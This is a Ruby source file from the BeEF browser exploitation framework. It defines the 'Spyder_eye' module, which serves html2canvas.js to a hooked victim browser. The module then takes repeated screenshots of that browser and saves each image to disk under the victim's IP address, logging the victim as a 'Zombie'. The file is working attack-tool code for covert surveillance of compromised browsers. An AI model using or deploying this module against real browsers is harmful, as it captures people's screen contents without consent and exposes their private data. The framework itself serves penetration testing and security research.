41 lines
1.7 KiB
Ruby
41 lines
1.7 KiB
Ruby
#
|
|
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
# See the file 'doc/COPYING' for copying permission
|
|
#
|
|
class Spyder_eye < BeEF::Core::Command
|
|
|
|
def self.options
|
|
return [
|
|
{ 'ui_label'=>'Repeat', 'name'=>'repeat', 'description' => 'Number of snapshot to take.', 'value'=>'1', 'width'=>'80px' },
|
|
{ 'ui_label'=>'Delay', 'name'=>'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.', 'value'=>'3000', 'width'=>'80px' },
|
|
]
|
|
end
|
|
|
|
def pre_send
|
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js')
|
|
end
|
|
|
|
def post_execute
|
|
content = {}
|
|
content['results'] = @datastore['results'] if not @datastore['results'].nil?
|
|
save content
|
|
|
|
# save screenshot file
|
|
begin
|
|
timestamp = Time.now.getutc.to_s.gsub(/[ :]/, ' ' => '_', ':' => '-').chomp('_UTC')
|
|
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP')
|
|
filename = "screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
|
|
File.open(filename, 'wb') do |file|
|
|
data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "")
|
|
file.write(Base64.decode64(data))
|
|
end
|
|
print_info("Browser screenshot saved to '#{filename}'")
|
|
BeEF::Core::Logger.instance.register("Zombie", "Browser screenshot saved to '#{filename}'")
|
|
rescue => e
|
|
print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
|
|
end
|
|
|
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
|
|
end
|
|
end |